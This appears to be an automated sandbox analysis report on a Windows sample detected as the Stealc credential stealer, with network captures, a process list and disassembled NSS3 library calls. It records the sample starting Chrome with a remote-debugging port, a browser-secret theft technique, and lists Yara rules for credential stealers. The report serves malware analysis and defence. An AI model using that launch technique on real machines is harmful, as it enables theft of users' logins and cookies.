2024-10-28 07:18:29 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:29 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:29 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:29 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: b0947076-901e-0067-17f4-24b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071829Z-15b8d89586frzkk2umu6w8qnt80000000n80000000002r12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:29 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:29 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:29 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:29 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: ef1abc9b-501e-0029-5887-28d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071829Z-15b8d89586fst84k5f3z220tec0000000n7g00000000bqw1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:29 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:29 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:29 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:29 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: c0201237-001e-0046-4124-28da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071829Z-r197bdfb6b4skzzvqpzzd3xetg000000043g00000000315v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:29 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:29 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:29 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:29 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e9bbe3b2-401e-005b-3496-259c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071829Z-16849878b78sx229w7g7at4nkg00000002wg00000000bxgt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:29 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:30 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:30 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:30 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 8e66950d-f01e-0003-769c-274453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071830Z-16849878b78j7llf5vkyvvcehs00000005pg00000000gg9x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:30 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:30 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:30 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:30 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 94cf4c5c-c01e-0034-1914-272af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071830Z-16849878b78qg9mlz11wgn0wcc000000047g00000000afa7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:30 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	0
Start time:	03:17:06
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x2a0000
File size:	2'125'312 bytes
MD5 hash:	C590D2A05E4DCBF3B53D3E04EFA88988
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2076174463.00000000010AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2074918053.00000000002A1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1723219134.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:17:16
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:17:17
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2428,i,9357800286788744826,14473933952351811652,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 6C666E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B2120,6C667E60), ref: 6C666EBC
TlsGetValue.KERNEL32 ref: 6C666EDF
EnterCriticalSection.KERNEL32(?), ref: 6C666EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C666F25

Part of subcall function 6C63A900: TlsGetValue.KERNEL32(00000000,?,6C7B14E4,?,6C5D4DD9), ref: 6C63A90F
Part of subcall function 6C63A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C63A94F

PR_Unlock.NSS3 ref: 6C666F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C666FA9
TlsGetValue.KERNEL32 ref: 6C6670B4
EnterCriticalSection.KERNEL32(?), ref: 6C6670C8
PR_CallOnce.NSS3(6C7B24C0,6C6A7590), ref: 6C667104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C667117
SECOID_Init.NSS3 ref: 6C667128
PORT_Alloc_Util.NSS3(00000057), ref: 6C66714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C66717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6671A9
PR_NotifyAllCondVar.NSS3 ref: 6C6671CF
PR_Unlock.NSS3 ref: 6C6671DD
free.MOZGLUE(?), ref: 6C6671EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C667208
free.MOZGLUE(00000000), ref: 6C667221
free.MOZGLUE(00000001), ref: 6C667235
TlsGetValue.KERNEL32 ref: 6C66724A
EnterCriticalSection.KERNEL32(?), ref: 6C66725E
PR_NotifyCondVar.NSS3 ref: 6C667273
PR_Unlock.NSS3 ref: 6C667281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C667291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C7A0148,,defaultModDB,internalKeySlot), ref: 6C6674CC
free.MOZGLUE(00000000), ref: 6C667513
free.MOZGLUE(00000000), ref: 6C66751B
free.MOZGLUE(00000000), ref: 6C667528
free.MOZGLUE(00000000), ref: 6C66753C
free.MOZGLUE(00000000), ref: 6C667550
free.MOZGLUE(00000000), ref: 6C667561
free.MOZGLUE(00000000), ref: 6C667572
free.MOZGLUE(00000000), ref: 6C667583
free.MOZGLUE(00000000), ref: 6C667594
free.MOZGLUE(00000000), ref: 6C6675A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6675BD
free.MOZGLUE(00000000), ref: 6C6675C8
free.MOZGLUE(00000000), ref: 6C6675F1
PR_NewLock.NSS3 ref: 6C667636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C667686
PR_NewLock.NSS3 ref: 6C6676A2

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6676B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C667707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C66771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C667731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C66774A
DeleteCriticalSection.KERNEL32(?), ref: 6C667770
free.MOZGLUE(?), ref: 6C667779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6677AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6677C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6677DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C667821
PORT_Alloc_Util.NSS3(?), ref: 6C667837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C66785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C66786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6678AC
free.MOZGLUE(00000000), ref: 6C6678BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6678F3
free.MOZGLUE(00000000), ref: 6C6678FC
free.MOZGLUE(00000000), ref: 6C66791C

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6674C7
sql:, xrefs: 6C6676FE
NSS Internal Module, xrefs: 6C6674A2, 6C6674C6
,defaultModDB,internalKeySlot, xrefs: 6C66748D, 6C6674AA
rdb:, xrefs: 6C667744
dll, xrefs: 6C66788E
extern:, xrefs: 6C66772B
kbi., xrefs: 6C667886
Spac, xrefs: 6C667389
dbm:, xrefs: 6C667716

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: c63ee32a882def3eab86ab0da8de2da8a27cfa7a79f26545318d721529acdd4a
Instruction ID: b8c2f13f2c6d120a2c0e645878d2398f77352178374a0f1a0a2ea9851bc792a4
Opcode Fuzzy Hash: c63ee32a882def3eab86ab0da8de2da8a27cfa7a79f26545318d721529acdd4a
Instruction Fuzzy Hash: 065206B1E01205ABEF108F66DC09BAE7BB4BF06348F144138ED19A7E41E771D954CB9A

Function 6C68BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C68C0C8

Part of subcall function 6C719440: LeaveCriticalSection.KERNEL32 ref: 6C7195CD
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719622
Part of subcall function 6C719440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C71964E

PR_EnterMonitor.NSS3 ref: 6C68C0AE

Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C7191AA
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719212
Part of subcall function 6C719090: _PR_MD_WAIT_CV.NSS3 ref: 6C71926B

Part of subcall function 6C640600: GetLastError.KERNEL32(?,?,?,?,?,6C6405E2), ref: 6C640642
Part of subcall function 6C640600: TlsGetValue.KERNEL32(?,?,?,?,?,6C6405E2), ref: 6C64065D
Part of subcall function 6C640600: GetLastError.KERNEL32 ref: 6C640678
Part of subcall function 6C640600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C64068A
Part of subcall function 6C640600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C640693
Part of subcall function 6C640600: PR_SetErrorText.NSS3(00000000,?), ref: 6C64069D
